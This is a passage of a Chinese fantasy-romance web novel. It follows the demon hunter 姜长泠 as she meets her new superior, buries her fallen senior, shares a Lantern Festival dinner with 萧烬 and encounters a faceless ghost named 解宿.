“嗯…是因为你是大师兄吧。”
“正解,一会你就会发现主办大人穿的一身黑色。”
姜长泠不禁想:难道这里是颜色越深代表着地位越高么?
不知不觉,他们已经跨上百阶梯,面前对着的就是清阙堂。
这清阙堂设立高大而威严,让姜长泠总感觉这里像是一座庙。
“一会走进去就能见到主办大人了。”黎追停在原地,本还想说些什么又发现无话可说,干脆招了招手示意姜长泠跟上,“其他好像也没什么要交代的了,其余的等主办大人说吧。”
姜长泠嗯了一声,随着黎追的脚步踏入清阙堂。
暖意从四面八方裹挟而来,惹得姜长泠搓了搓手臂。
堂内可以说是金碧辉煌,两边的墙壁镶嵌着书架,上面堆放着无数书籍,还有着几个穿着青白色袍子的师弟脚下踩着悬空符浮起拿着鸡毛掸子扫着最顶上书籍的灰。
而正前面的办公桌案筑得很高,想必是方便俯瞰的缘故。
主办大人孟绝就正坐于高堂之上手里正翻阅着什么,听闻有来人他率先开口道:“本想叫你另外的一个大师姐带你的,可惜她现在没空,我就只好先叫黎追来带带你了。”
“下属姜长泠见过主办大人。”姜长泠拱手行了一礼。
“不必多礼。”
孟绝视线离开桌上的文书,转而看向姜长泠。
或许他坐得高缘故,看向她的时候姜长泠总觉得孟绝是为睥睨的姿态。
38. 怜悯
孟绝果真是一身玄色长裳,整个人坐于高堂之上不自主散发着威严。
“潘秉坤和钱恒亮勾结一事本主办已经知晓,此事你功不可没,想必也是女中英豪,思来想去,还是觉得不可将你置于三处,还是提拔至二处管辖较好。”孟绝的语气中带着赏识笑意,硬生生将那面上的威严要压下几分。
姜长泠低下头:“多谢主办大人抬举。”
“不过...下属尚还有一问,不知主办大人是如何在一天之内得知下属事迹的?”
清阙堂内建设空旷,这会堂内安静,姜长泠的声音都似乎有了些许回响。
见状,孟绝站起身来向桌案两旁顺延的阶梯走去:“就在潘秉坤说自己出事之时,本主办就先派人去捉拿那钱恒亮了,不过后来,我便得知他已经横死,盘问一番他的手下才得知是谁做的。”
“姜长泠,一介中阶捉妖师竟有如此勇气和作为,可让本主办刮目相看呐。”
孟绝双手背过身去一步一步走下阶梯,声音离姜长泠愈来愈近。
“不敢当,都是运气使然罢了。”姜长泠站直了身,负手而立。
孟绝走下平地,视线朝她看来,似乎这样才看得清晰一点:“本主办对你破案的过程很感兴趣,本主办与潘秉坤也算是相识多年,竟都不曾知道他做过这些事情,你是如何得知的?”
还不等她回答,一旁的黎追就凑过来笑着说:“主办大人,姜师妹说她是有亡魂托梦于她才知晓此事的,想必姜师妹是有些天赋存于身上的,您真是慧眼识珠。”
听闻此话,孟绝眼中闪过一丝惊艳,笑道:“那黎追你可要好好培养一下你这个师妹了。”
姜长泠内心的紧张消散了一些,她见孟绝的第一眼时还以为他是个极为严厉之人,不曾想是个能和下属笑成一片的。
“那是一定的。”黎追一脸自信地拍了拍胸脯。
“嗯。”孟绝点点头,转而对姜长泠说,“我们这清阙堂的规矩其实和转芒堂没有太多的区别,不过对于阶级这方面是稍微严苛一点,之前潘秉坤是怎么对你们考核评级的?”
姜长泠回忆了一遍,缓缓道:“考核了中阶捉妖师所需要学习掌握的所有符咒和法阵。”
黎追继而道:“那看来与清阙堂的考核方式截然不同。”
“那倒也正常。”孟绝笑笑,“毕竟青竹城只是妖都三处,况且长泠当上捉妖师也不过才一年,前途不可限量,过两天后好好体验一翻清阙堂的考核,说不定就会有意外收获。”
“下属定当竭尽全力。”姜长泠回道。
“黎追,一会你先带她去雀云院安置下来先吧,顺带与她讲讲平日里要做些什么。”孟绝转过身去,“长泠的话,今日可以先去熟悉一下淮庆城,明日我会将所有人召集前来开一个朝会,方便大家互相交汇灵流熟悉一下。”
“下属明白。”
黎追说完便朝一旁的正在整理书籍的一女子走去:“小藏,新的衣裳在何处,要两套女子的。”
小藏踩着悬空符回头看了一眼姜长泠,飘挪到了书海中的其中一格,翻找了下后拿着两套衣裳降了下来,继而把青白色的衣裳递到了姜长泠面前。
姜长泠连忙接下道了声谢。
“走吧,带你去雀云院。”黎追道。
“好。”姜长泠跟上他的步伐。
雀云院想必也是和抚柳院一般的存在,应该是皆为女子捉妖师的住处。
路上,姜长泠好奇问他:“黎大师兄,我想知道这清阙堂的考核是如何进行的?”
黎追伸展了下身体,问道:“你可听过一个叫定魂铃的法宝?”
其实他也就是随口一问,并不认为姜长泠能回答出来,谁知正当他要解释之余,姜长泠开了口:“嗯,听过。”
黎追瞬间怀疑自己的耳朵,重复道:“听过?”
“听说此铃一摇便能将人的灵魂拉入一场幻境之中,但这幻境里的内容貌似飘忽不定千变万化。”姜长泠道。
这话说的不错,跟书上编的似的。
黎追越来越佩服姜长泠,解释道:“不错,考核便是由定魂铃来创造捉妖的幻境,以此来筛选阶级。”
“你能捉的妖修为越高,那你的阶级也会越高。”
“原来如此。”姜长泠道。
妖都分配的住处都不会离太远,他们路上统共也才没聊多少便走到了一个名为雀云院的地方。
门口布局陈设皆是熟悉,与那抚柳院就像是一个地方。
黎追停在了门口:“这雀云院中现有六位女子中阶捉妖师,空的厢房倒是有八间,你进去安置好后便可以自己到淮庆城中瞧瞧,或是去清阙堂看书也可以。”
姜长泠环顾了下雀云院外的环境,对着黎追一颔首:“多谢黎大师兄。”
“不客气,有事的话传音符找我,我先走啦。”黎追潇洒地转了个身,对着虚空挥了挥手。
墨绿的长袍飘飘然,无一不透显出黎追高大的身形,可就在他晃动时腰侧间却挂着一个格格不入的粉嫩锦囊。
姜长泠没有多想,收回视线踏进了雀云院。
虽说这雀云院的外表与抚柳院相差不多,可这里面却要比抚柳院要大上许多。
抚柳院是四方连廊的设计,但这雀云院乃是单独出每一间厢房。
姜长泠往里走了会便看到了一间敞开门的厢房,里面除了桌椅陈设空荡荡一片,似是无人居住的模样。
她走过去往里面探了探,看到床板上并无床铺十分确定了这就是空厢房。
进去后她简单地环顾了一番,放下了包袱,数了数自己应当要新买的东西,就这么出了门。
顾及邵楚的遗体还在她手上,她今天首要的是先帮邵楚寻块好的地方下葬立冢。
于是她在城中游走,寻到了一家包办丧事的店铺,问过老板后得知要在天蒙蒙亮的时候出殡。
她思忖了会还是觉得赶不上趟,干脆给了点钱买了些纸钱铁锹之类的东西,问了老板这城外哪里有好的风水宝地。
本想着听老板有何好的意见,老板却是无所谓说了一句:“只要是出了城的哪里不能埋,小姑娘你是担心会尸变不成?”
姜长泠无言以对,只好领了东西走了。
接着她一路问着百姓弯弯绕绕地出
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了城。
这一路上也不知花了多少时辰,总之她找到一处茂密丛林时天色已然有些昏暗了。
她用铁锹挖了个坑,把乾坤袋捏在了手里,本想着打开,可犹豫了会,她还是将整个乾坤袋给放了下去。
要是在乾坤袋外,泥土就全进口鼻了,没有棺材总有一个乾坤袋下葬总也是好的。
于是她又将挖了的大坑给默默埋上了,堆了一个小坟丘。
没有碑,只有零丁几个石头在。
“师兄,长泠尽力了。”
姜长泠自顾自地说了一句,抽出了一张符,用灵力写了四个字——故人邵楚。
她再将买来的纸钱在坟前烧了。
下葬这件事看似简单,可真正要做起来的时候姜长泠还是从天色稍暗做到天色渐晚才完成。
每一步,都让她心情沉重。
尤其是在烧纸钱的时候。
本听闻烧纸钱都是给已故的亲人烧的,可没想到她第一次烧纸钱竟是为了师兄。
一个非亲非故的人。
她再四顾了下周围,都是些黑漆漆的树影,见不到任何鬼的迹象。
想必是邵楚逝世之时没有任何的怨气和遗憾,对人间没有丝毫眷恋就这么走了。
见证了纸钱全部都成灰烬后,姜长泠才站起身来郑重道:“师兄,想必你已经在那头与娘亲妹妹重聚了吧,长泠就陪你到这了,一路走好。”
话音刚落,一阵湿冷的风迎面吹来,似乎是回答姜长泠说的话也像是给了姜长泠一个拥抱。
这一走,姜长泠并未回头。
到淮庆城中时,已经是晚上了。
城外不比城中,因为今天过元宵,整个淮庆城都是张灯结彩,灯火通明的。
姜长泠一下便感受到了烟火气。
此前热闹的节日,她只在青竹城见过,而这是她离开青竹城后见到更为璀璨的繁华。
*
“消息打探到了么?”萧烬像一整个闲散公子般地走在街上,正跟着前面某个裙角和鞋子全是污泥的女子。
“还未,貌似这法宝不是道上的人压根不知道。”符月炳道。
“这法宝还能分哪个道上的?”萧烬也有些纳闷。
符月炳叹了口气:“淮庆城还很大,再允属下多找几日吧。”
萧烬左顾右盼那些摆摊的古灵精怪玩意:“嗯,不急。”
走着走着,萧烬就发现前面的女子停住了脚步,他也跟着一并停下来,只见姜长泠转头看向了一家店铺,在门前驻足看了一会,又低头看了一眼什么,就这么果断地离开了。
萧烬循着她的视线看去,是一家写着添棉记的店铺。
就是个普通卖棉被的铺子,规模倒也不算是很大,装潢也并不奢华。
他不免有些疑惑,难道姜长泠连这点钱也掏不出来?
“月炳,你觉得她是买不起还是不想买?”萧烬问道。
符月炳直截了当说:“应该是不舍得买。”
萧烬看着那一抹坚毅的身影逐渐走远,内心正有着什么在触动,叹气道:“既然要挑就要挑最好的买啊。”
39. 动摇
姜长泠发现这青竹城和淮庆城最致命的区别还是物价上涨。
原本当捉妖师这一年的俸禄就不算高,养活自己还能省下一点钱已是不错,但她也万万没想到自己会搬迁,还需要买这么多新的物什。
于是她一路寻觅了众多店铺货比三家,终于挑出了最便宜的买下,拿着大包小包回到了雀云院。
夜晚的雀云院中也点了灯,拢共有六户,其中三户的纸窗映出鹅黄的亮色。
“姜同门,你可算是回来了,我见那空屋关上门了我就猜到你来过了。”阮诗情不知何时就在雀云院中候着了,“你这是去哪了,弄一身污泥?”
“今天我出了一趟城。”
走了一天,姜长泠早已疲惫并不想再跟阮诗情过多周旋,说完后她便打算径直从阮诗情身边经过。
阮诗情一把拉住了她,热情道:“你东西太多了,我帮你拿点。”
也不等姜长泠说什么,那阮诗情就像是卸货一般从她身上接过了行囊。
姜长泠愣了愣,道:“多谢。”
“都是些小事。”
阮诗情接过后,便十分好奇地翻看了她买的物什,略带了些嫌弃道:“你出城为的就是买这些东西?”
姜长泠停下脚步,略微皱起眉转头看向她:“并不是,若阮同门只是好奇我去了哪里大可直接问,不必私自翻找。”
“不就是日常关心一下同门么,别生气啊,走吧走吧。”阮诗情尴尬地笑笑,独自提着包袱比姜长泠先走到前头进了厢房之中。
姜长泠也只好无奈地跟了上去。
进了门,阮诗情将包袱丢在地上,抽出一张符纸将蜡烛给点上。
点灯时,她忽然发现这烛台是崭新的,不仅如此,她再往床铺看去,竟然有着柔软的狐裘垫地,还有一袭帐纱笼着床榻,朦朦胧胧,似是什么府中小姐的闺房。
她眼睛顿时瞪圆了。
“姜同门,你这厢房是原本就有这床铺?”阮诗情惊讶问道。
姜长泠刚拎着包袱进门,见到眼前这幕的反应也与她一样有些震惊。
她今早来看的时候还只有一个孤零零的床板在的。
不过她很快就想明白这是谁的手笔。
“是我...早铺好出门的。”姜长泠迟疑回答。
“那你还出门买这些个破棉□□什么。”阮诗情连忙上前几步蹲下去摸了摸那狐裘地毯。
那狐裘一看就知价格不菲,摸上去柔软地就像是蹭了层金粉下来似的。
姜长泠站在原地沉默了会,直到阮诗情回过头去看她,她才想到怎么解释:“放着备用的。”
阮诗情谄媚笑道:“方才我还以为姜同门是什么穷苦寒酸之人,不曾想到是如此有钱,是我眼界狭窄了。”
这话里头的目的和试探的意味太过强势,惹得姜长泠倒是有些厌烦起来。
“想必阮同门误会了,我确是穷苦之人,如你所见,我所有的积蓄都花在这上面了。”
“哈?”阮诗情一下站起身来,“姜同门,开玩笑也需有个度的吧,你这到底是装哪样呢?”
姜长泠蹙眉道:“这一切貌似都是阮同门自己的臆想吧?”
阮诗情无语凝噎,意识到了自己的失态,不自然地撩了撩耳边的碎发:“是吗,姑且算我耳背,今晚就先不打扰你了。”
说完,她便匆匆地就从姜长泠的厢房中走了出去。
这行为太过蹊跷,想必是背后另有所图。
姜长泠没想通,放下了包袱去关上了房门。
转身看去,这下厢房中的布局陈设尽数入她眼中。
仔细一看,离门最近的那张木桌和两张凳子明显就被换过了。
她刚来时,这木桌面上明明蒙着一层薄灰,而且桌脚位置处有一个较明显的缺口,凳子的样式纹路也发生了细微的变化。
靠近静嗅还能闻到一阵这木材所带着的清香。
定是上品的木材,可惜她并不识货。
她忽而茫然地看着遍地的包袱,不禁想到萧烬应当是知晓她所处的困境的,但为何好几次都一声不吭帮她?
因为什么?
她一路想一路收拾着地上的残局。
待她将物什收拾地七七八八,门外忽而传来一阵敲门声。
姜长泠思绪被拉回,还以为那阮诗情又来了,可一看那门口倒映的却是一个高大的男子的身影。
她走到门前拉开房门。
清冷的月亮在萧烬头上悬着,他带着些许嫌弃的神情向她看来:“以往你的元宵节都是这么过的吗?”
萧烬每次说的话足以让姜长泠愣个好半晌,毕竟从没有人这么直白地问过她这些问题。
以至于每次说起关于她的问题,都像是被一股陌生的气息剖开触及了最脆弱的灵魂一样。
“以往过节,邵师兄会请我吃饭。”姜长泠怔然道。
萧烬表情有所缓和,不过还没等他说话,姜长泠便开口道:“萧公子,我衷心感谢你的照拂,但这人情欠下太多,我实在是无力偿还。”
萧烬抱起手臂,语气淡然:“是不是人情我自有分辨,再说了我还没要你还呢。”
“你手上的伤究竟打算什么时候处理?”萧烬对着她手臂的方向扬了扬下巴。
那被狐妖抓伤的地方被她酿了一天,时不时被外层的衣裳裹盖着,除了隐隐的阵痛以外,她几乎忘却了这伤口存在的一回事。
“...我过会就处理。”姜长泠道。
萧烬忽而朝她伸出了手,眼中透露冷淡却又不失柔和,一句话没说。
姜长泠识趣地搭上。
“陪我去个地方吃饭。”
姜长泠本想着回绝,后来又觉得是自己听错了,便问了句:“什么?”
“就当是你还了人情了。”萧烬稍稍歪了头看向她,如潭水一般的黑眸中只有温柔点缀。
手腕上感知到灵力在灌输,萧烬便突然拉着她往外走,正当姜长泠迫不得已跨过门槛时再一转眼便是到了灯火通明的街上。
街道的一边正是有着五层楼之高的饭馆,那崭新的牌匾上正写着三个字——寻味楼。
“走吧。”萧烬松开她的手,独自率先向前走去,小二也从门口
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热情地迎了上来。
姜长泠抬起手臂看了看,发现那处伤口的痕迹已经烟消云散。
风声萧萧,夹杂了三两声“下雪了。”的闲言碎语,她抬起头看向萧烬那纯净缥缈的背影,心里不禁生出几分异样的情绪。
乱如麻的。
尤其还是在她晚上只吃了几个包子顶饱时。
“怎么,不喜欢吃这家?”萧烬忽而转过身来问她。
“不是。”她回过神来,连忙抬起步子向前赶上和萧烬的距离,或许是她一下走得太过着急,不知在哪绊了下正撞到了他的后背上。
那熟悉的雪松香霎时冲进她鼻腔。
“抱歉。”姜长泠急忙道。
“走路小心点。”萧烬只是停顿了下,落下一道极为轻微的闷笑继续往前走了。
“诶,二位客观这边请。”小二在旁边见他们闹完总算开了口。
姜长泠跟着萧烬连上了四层楼才停下来,最后两人在靠窗的一围桌坐下了。
而桌上早已经布满了热气腾腾各式各样的菜。
看见这些,姜长泠不争气地饿得咽下了几口唾沫。
小二刚走不久又折了回来,手里多拿了一壶茶水,给他们面前的茶杯斟满上了:“小的在这祝二位元宵快乐,白头偕老,早生贵子,慢用啊。”
小二撤下茶壶,也没看这两客人的脸色就这么走了。
气氛瞬间凝固了起来,萧烬还好,大不了是心里想把那小二杀了,但面上不显。姜长泠就不同了,脸颊上的绯红直直晕染上耳尖,却还是一脸不知情的模样。
“听闻这里的桂花鱼做的不错,你试试。”萧烬端起热辣滚烫的茶杯抿了一口,只是轻瞥了她一眼后挪开了视线。
“你先尝尝。”姜长泠回道。
整个四层只有零丁几桌人在吃饭,相比于一二层来说要清静上不少。
萧烬抿着茶水入喉,眉间在不经意间皱了下,并不是因为姜长泠说的话,而是因为这茶不好喝。
“你先试一下毒。”
姜长泠低下眉思忖了会,缓缓开口:“你是请客之人,于情于理你不动木箸,我先动的话也未免太没礼貌了。”
“……看来人间的礼节繁冗是真的。”萧烬放下茶杯无奈说了一声,随后拿起木箸夹起一块鲜嫩的桂花鱼放到她的碗中,“这样呢,可以吃了吗?”
姜长泠颇有些意外,但也不得不接受了这个行为:“多谢。”
“快吃吧,等会凉了就不是一个味道了。”萧烬叮嘱道。
姜长泠夹起鱼肉吃下,随后扒上一口饭,咽下后,她道:“好吃。”
“嗯,好吃就多吃点。”
名义上萧烬虽说是让她陪他吃饭,但是实际上都是她在吃,姜长泠还不至于那么愚钝,猜不到萧烬的目的是什么。
于是在吃完第二口的时候,姜长泠抬起略带透亮的眼眸,语气间没什么起伏:“萧公子倘若一直这么对我,我会动摇的。”
这句话忽然让萧烬心里一紧,他疑惑问道:“动摇?动摇什么?”
“动摇不可以依靠的信念。”
40. 改变
窗边的缝隙一直吹来的徐徐风声戛然而止。
茶杯中的白雾盈盈围绕着转着圈上升。
萧烬旋了旋桌上的茶杯,牵起嘴角:“你可以动摇,只不过我所做的都是无心之举罢了,为自保而已。”
木箸啪嗒一下摔在地上,宛如姜长泠脑中紧绷着的一根弦断了似的。
她弯腰捡起木箸强装着镇定扯过衣角擦了擦,还没想好怎么回应,又听萧烬那边开了口:“不过我很好奇什么为不可以依靠的信念?”
“就是如字面上的意思。”姜长泠看向他,“我这个人并不好相处,也并不会表达情感,很难容纳接受新的人或事物,所以哪怕萧公子对我再好,我也无法给你回应。”
说白了,姜长泠从她娘自缢,爹弃养那时起,感情的释放貌似就已经得到了束缚。
她小时候记事很早,就像有通灵的天赋的一样,自然而然的,她比同龄人懂事的速度也要快上许多。
可还是避免不了遭到村里人的唾骂和她爹的嫌弃,甚至天天听着扫把星、怪胎、瘟神这些辱骂她的话,不过好在这些词没人教过她,她根本听不懂,只知道这是在气她的意思。
她娘承受不起这些流言蜚语,看着尚且年幼的姜长泠犹豫了几个晚上,最终还是自缢了。
她走得急,连做鬼都没有回来看过,姜长泠便抱着他娘的冰冷的尸身哭了个昏天黑地,她爹也没管。
到后面她冲出家门四处哭着喊:“娘,你在哪啊!我不闹了,你快回来!”
她爹嫌她丢脸才赶忙拽了回家里来。
她爹一脸愁苦对她说:“善善,你要知道家丑不可外扬,如今你娘死了,你跑去昭告全村,别人只会觉得是你杀的,你明白吗?”
姜长泠已然被悲伤充斥当然不明白,只是边哭边摇头:“其他人都看得到,但唯独没看见我娘,娘亲为什么要抛下我们?”
她话语说的如此利索,饶是她爹都有些恍惚起来,这还是平日里惜金如字乖巧寡言的善善吗?
她爹叹了口气,沉声道:“你又想说你见到那些东西了?”
自她被称为怪胎以来,家中便早就明令禁止说这些神神鬼鬼之类的东西,可总架不住姜长泠会突然冒几句话让全家人毛骨悚然,然而被打得多了,她也就憋着不敢说了。
姜长泠捂住嘴摇摇头,悲伤之余还忘不了说这些事所承受的皮肉之苦。
之后,她娘下了葬也没买棺材办丧礼,只是简简单单在山坡上挖了个坑埋了。
就这么浑浑噩噩过了一年之后,她彻底变得沉默寡言,她爹也不知怎么想,找了个借口带她外出进了个深山老林后便消失了影踪。
而里面的山路错综复杂,不少孤魂野鬼亦在这里盘绕,她虽然习惯了不去看他们,但心里还是会介怀他们的存在,一丁点风吹草动就足以吓她一跳。
她就这么一路哭着喊爹从白天走到黑夜。
最后嗓子哑了,有一只默默跟着她背后的野鬼总算是看不下去,问道:“小孩,你是不是能看见我?”
姜长泠冷不丁地被吓一跳,颤抖着身子摇摇头。
山中天黑得很快,眼前的山路已经逐渐变得模糊不清。
“唉,我不会害你的,听我说的,你从左边的岔路一直走下去,那里有一个村子,说不定会救你一命。”野鬼的声音尽显沧桑,貌似是位年长的老者。
姜长泠愣是不敢回头,站在原地斟酌着这老者说的话。
“你爹都不要你了,你还是有什么好怕的?”野鬼又问道。
一听这话,姜长泠的泪水又再次夺眶而出:“我不信!”
旋身就向右边的岔路口跑去了。
夜幕里深山的温度骤降,哪怕是正值夏季,在这里也能感受到有阵阵寒风刮来。
不知顺着右边的路走了多久,最后她依旧是没看到曙光,累倒在了一条黑蒙蒙的山路上。
幸运的是第二天清早,她就被一对熊妖夫妇抱起来走了。
至此往后,她便发现一个规律,凡是她亲近之人最后都会离开她。
于她而言,感情就像是伤口的结痂,灌注越多便好的越快,一旦抽离而出,伤口便会无限被撕裂,会有无穷无尽的血奔涌而出。
太痛了。
她再也没有勇气去缝补伤口了。
反正她这一生都在颠沛流离,没有稳定的起居和交际关系,自然也可以做到与谁都不熟,哪里都不留恋。
可上天就好像对她示弱视若无睹,似是故意派了一个人不断试图击溃她的防线,混淆她的思想。
她时常在想到底意义何在,动机何在?
这时,萧烬盯着她轻轻地笑了:“我什么时候说过要你回应了?我只是在做我想做的事罢了。”
姜长泠呼吸一滞,貌似这句话是她对萧烬说过的。
现在萧烬把这句话再说给她听,总有股奇怪的感觉。
“如今你身上背负着我的性命,怎么说也算是千金之躯,在找到解开的方法之前我是不会离开你的。”萧烬淡淡道。
这么坦白一番,萧烬居然没有半点不耐烦,甚至还说是自愿帮她的?
这个结局另姜长泠太过意外,对此她只能道:“承蒙萧公子关照,这顿饭后,萧公子大可以只保护我的人身安危,至于温饱问题我自己能够解决,就不由你操劳了。”
“既然你都这么说了,那便依你吧。”萧烬面上依旧是春风拂意,并没有一点不高兴的样子。
正巧她对上他的视线,只是一眼她的心绪便变得杂乱无章。
饭后,街上的雪已经堆积成厚厚一叠。
本以为两人就会分道扬镳,站在寻味楼的门前,姜长泠忽然小声开了口:“萧烬。”
“元宵快乐。”
说出这句话时,她已经耗尽了全身的力气,也联想到了最尴尬和最坏的结果。
她没去看萧烬,僵在了原地。
萧烬听到这么一句话的时候也是挺震惊的,有种十分陌生被侵犯了的感觉。
毕竟从来没有人这么叫过他的大名。
他有六分不理解,四分不爽。
不过这些他并没有表现出来,嗯哼了一声就当咽下了,也对她说道:“同乐。”
闻言,姜长泠转头看向他,眸中一片灵动明澈,
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笑道:“那我以后也可以这么唤你吗?”
万里冰封的地底下都透出了阳光。
像是罕见的明媚之意出现在一块寒冰上。
瞥去解决众生的愁苦不谈,这是唯一一次萧烬感受了到她真切的高兴。
没有其他复杂的情绪,单纯地只考虑自己。
只不过是能叫他的名字而已,有那么开心么?
不对,他的大名是谁都能叫的?
“嗯。”
他本想拒绝,但奈何眼前之人的眼神太过诚恳,不知不觉他就鬼使神差地应了下来。
“说起来,其实我对魔界很是好奇。”姜长泠道,“有空的话定要坐下来好好详谈一番。”
萧烬看着有些陌生的姜长泠,并未出声。
“今日夜色也不早了,欠你的元宵改日再还,明天再见。”姜长泠迈着急促的步伐似想要赶快逃离这出地方,只回首对他莞尔一笑便消失在了人群之中。
萧烬才回过神来。
这不是挺会给回应的吗?
*
回去的路上,姜长泠的内心是止不住的汹涌澎湃。
流动着的血液都变得炽热无比。
在那顿饭上,她忽然想通了。
她好像并不想冷落萧烬。
她清醒地知道萧烬对她的好不止是因为一个莫名的禁咒罢了,更因为他本就善良。
有他的存在太温暖了,她忍不住为此作出一些改变,哪怕过程并没有她想象中进展的顺利。
想清楚这点以后,她内心的沉闷便被全扫而空。
突然间,一旁顶上传来砖瓦的响动。
姜长泠顿时闻声看去。
一名白衣女子正坐在围墙的砖瓦之上,双腿还放在围墙之内荡悠着,手里似乎拿着一封信。
姜长泠一眼便察觉到了这“人”不太对劲。
不太像人。
“阁下何许人也?”姜长泠仰着头看她,手里默默蓄着灵力。
闻言,那白衣女子双腿便不晃了,木讷地往背后看去。
本看着这清丽的背影转过来的一张脸怎么想都会是个姿色不凡的女子。
但女子脸上仅仅只有一张面皮,甚至连五官都没有!
姜长泠也是头一次见到这样的人,不免微微瞪大了眼睛。
她一下便断定了这女子是只鬼。
且应该修为极高。
这女子不仅有实体,且没有五官,这说明她可能游荡在世间多年早已忘掉了自己的容貌又或者她不想让别人瞧见她的模样从而易容。
无论哪种来说都算是危险的厉鬼。
那白衣女子没说话,转过头去一下便翻了下墙,进了院子。
情况紧急,姜长泠也顾不得私闯民宅,也跟着一跃上围墙翻进了院子。
院子中挂着几盏灯笼,很是静谧,而那白衣女子此时已经变换回灵体状态站在院子中的一处盯着她。
可她料不到姜长泠有通灵的本事能看到她。
姜长泠见她没有再多的动作也只好先假装看不见,循着她走过的路径捡起了那白衣女子变为实体时拿着的信。
41. 解宿
纸上寥寥数字,尽管笔迹写得歪七扭八,但不难能看出这执笔之人所表之意。
故人来之,祝寿比南山,福如东海。
怪了,这不像是厉鬼会说的话。
这房屋中还亮着灯,主人家还没睡,莫非这厉鬼只是想来送一句贺词?
她一言难尽地看向那厉鬼。
虽然那厉鬼没有五官,但绝非是失明的存在,两两短暂的对视后,那厉鬼无措地往一旁挪了挪脚步,却发现姜长泠的视线仍是随着她移动过去。
“我能看见你。”姜长泠开口道。
那厉鬼也不知是生气还是激动,顿时握了握拳头,脸上的五官疯狂变换着,停下时,出现了和姜长泠一模一样的脸。
姜长泠:?
“不对。”厉鬼的声音有些慌乱,挥手又变换成另一个少女的模样。
确定了模样后的厉鬼眨着水汪汪的大眼睛,一脸懵懂地问她:“你是如何看得见我的?”
“那不重要。”姜长泠举起那张纸,“重要的是你进来做什么?”
厉鬼抬起手向大门方向一指:“因为她。”
姜长泠循着她指着的方向看去,大门之下正坐着一个蜷缩起全身的女子,此时半张脸正埋在了臂弯之中,只露出了两只眼睛在看她们。
“她不会说话,也听不见,只有眼睛能看,我好几天都看见她坐在这里了,想必这里应该是她生前的家,而这里也只有一位老妇在住,或许那是她奶奶吧。”厉鬼逐字逐句解释着。
“所以你写的这句话是想替她写的?”姜长泠问道。
厉鬼小鸡啄米似的点了点头。
“...抱歉,是我误会你了,我以为你要入室行凶。”姜长泠忽而有些愧疚,将那信纸递还给了她。
“没关系。”厉鬼上前几步,就在转瞬之间化为实体接过信纸,走到那房门前通过缝隙塞在了中间。
见这乌龙告一段落,姜长泠转身瞥了眼坐在门口的小鬼,并不打算再多管闲事,对她颔首表示了一番歉意。
随后她果断地翻出了围墙。
站稳在雪地之上,刚迈出一步身旁便传来一个稚嫩的声音:“姑娘,你叫什么名字?”
姜长泠早有预料到这厉鬼会缠着她,所以听到声音时也没有过多的惊讶。
“姜长泠。”
刚迈出的脚又收了回来,姜长泠停下来看她。
“你是什么身份?哪里人?”
“捉妖师,青竹城来的。”
“那你是怎么看到我的?”
“天赋,从小就能看到。”
厉鬼似乎很是兴奋,还在思考着有什么问题可以问。
“前辈可还有什么想知道的?没有的话恕晚辈不奉陪了。”姜长泠脸上虽是没什么表情,但心底里还是对这般高修为的厉鬼予以敬畏之心。
毕竟都这般修为了,世间上还有什么仇恨或放不下的执念能让这般修为的厉鬼停留在世间如此之久?
“你...你难道就不好奇叫我什么名字?”厉鬼笑道。
这意想不到的问题,姜长泠本不想回答,但还是配合着问了一句:“请问前辈尊姓大名?”
厉鬼抬手捂住嘴笑着说:“我给自己起了一个名字为解宿,解开的解,借一宿的宿。”
解宿?
这个名字倒是起得高深莫测,不过让姜长泠更加疑惑的是为什么说的是自己给自己起名?
“前辈可是觉得自己本来的名字不好听而改的?”姜长泠问道。
闻言,解宿放下手摇摇头:“我失忆了,什么都记不起来了,甚至忘了为什么要化为鬼存在于这个世间上。”
“很奇怪对吧?”
姜长泠心里咯噔一下,这厉鬼莫不是想让她寻回生前的记忆?
她镇定安抚道:“并不奇怪,忘却记忆也等同于把悲伤忘记了,在世间无牵无挂的也不算为一件坏事。”
“你说的对。”解宿释怀地笑笑,“但我心中仍有一份牵挂,我也不知如何追根溯源,这也才导致我存于这世间如此之久。”
“解铃还须系铃人,现今前辈失忆,执念自然无从化解,倘若要化解必须要有一个时机,至于...这时机什么时候会出现就不好说了。”
解宿听这话眼前一亮,又问道:“譬如呢?”
“譬如前辈所牵挂之人或是事物出现。”姜长泠解释道。
解宿又有些失落:“可我在这人间已有百余年也不曾见任何我所熟悉的事物。”
“百年,早已沧海桑田,前辈又是何苦留存于这个世上呢?”姜长泠不解问道。
“我亦不知,都是凭借着感觉而留下的。”
“话说回来你不觉得我顶着这副面孔与你讲话更像是同辈吗?”解宿捧起脸颊对她眨眨眼。
姜长泠愣了愣,缓缓点头。
“所以你我之间就不必以前后辈相称了,那么拘束干嘛。”解宿笑了笑。
解宿话音落下,街巷便外传来一声锣鼓响。
“戌时已到!”
姜长泠不由被吸引了一瞬,又回过神来:“今夜你我相见不过是萍水相逢,往后想必也不会再有交集了吧。”
“怎么会呢?”解宿挽过她的手臂,“基于你是第一个能见到我的凡人,我决定缠上你了。”
姜长泠受到了惊吓,不免呛咳了几声。
“快回家吧,这淮庆城晚上可是有宵禁的。”解宿提醒她。
姜长泠心脏猛地搏动了下,原来她是将宵禁听成了萧烬。
平复下心情后她问:“城中宵禁是几时?”
“亥时,就快了。”解宿道。
以往在青竹城时从来没有宵禁一说,现在多了个宵禁她还有些不适应。
“那若是在宵禁时段出门会如何?”姜长泠好奇问道。
解宿想了想说:“会被当成贼子抓起来,无论行为。”
“那确实是该早些启程回去。”姜长泠忽而低下头看着解宿挽住她的手,不免有些难堪。
“姜师妹?你怎么会在此处?”
熟悉的男声,是黎追?
姜长泠抬头看向来人,也与他有一样的诧异:“黎大师兄,好巧,我们刚路过此处。”
解宿则是上下打量了
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一遍黎追,眼底浮现起不怀好意的笑,又看向了姜长泠。
“不知这位是?”黎追没有立刻阐明来意,而是先询问了和姜长泠身旁的女子身份。
“这位是方才在逛街时认识的一位朋友,名为解宿。”姜长泠从容地介绍着,“而这位是我在妖都二处结识的大师兄。”
黎追点点头对着解宿行了一礼:“解宿姑娘,在下黎追。”
解宿还没反应过来眼前之人就给她行了一礼,她也只好生硬地学着回了一礼:“解宿。”
黎追指着方才他们翻进去的那户人家解释道:“我来是给住这的老妇送元宵来的,要不,进来坐坐?”
“多谢黎大师兄好意,不过这城中的宵禁是不是快到了,不如下次再聚?”姜长泠婉拒道。
“那也对。”黎追应道。
突然间,姜长泠和解宿的余光中蹿出一个人影,她们的视线同时被吸引了过去。
黎追见两人突然朝着一处虚空看去,不免也看过去问道:“这里是怎么了吗?”
姜长泠率先转过头来:“没什么,只是刚才有只很大的虫子飞过罢了。”
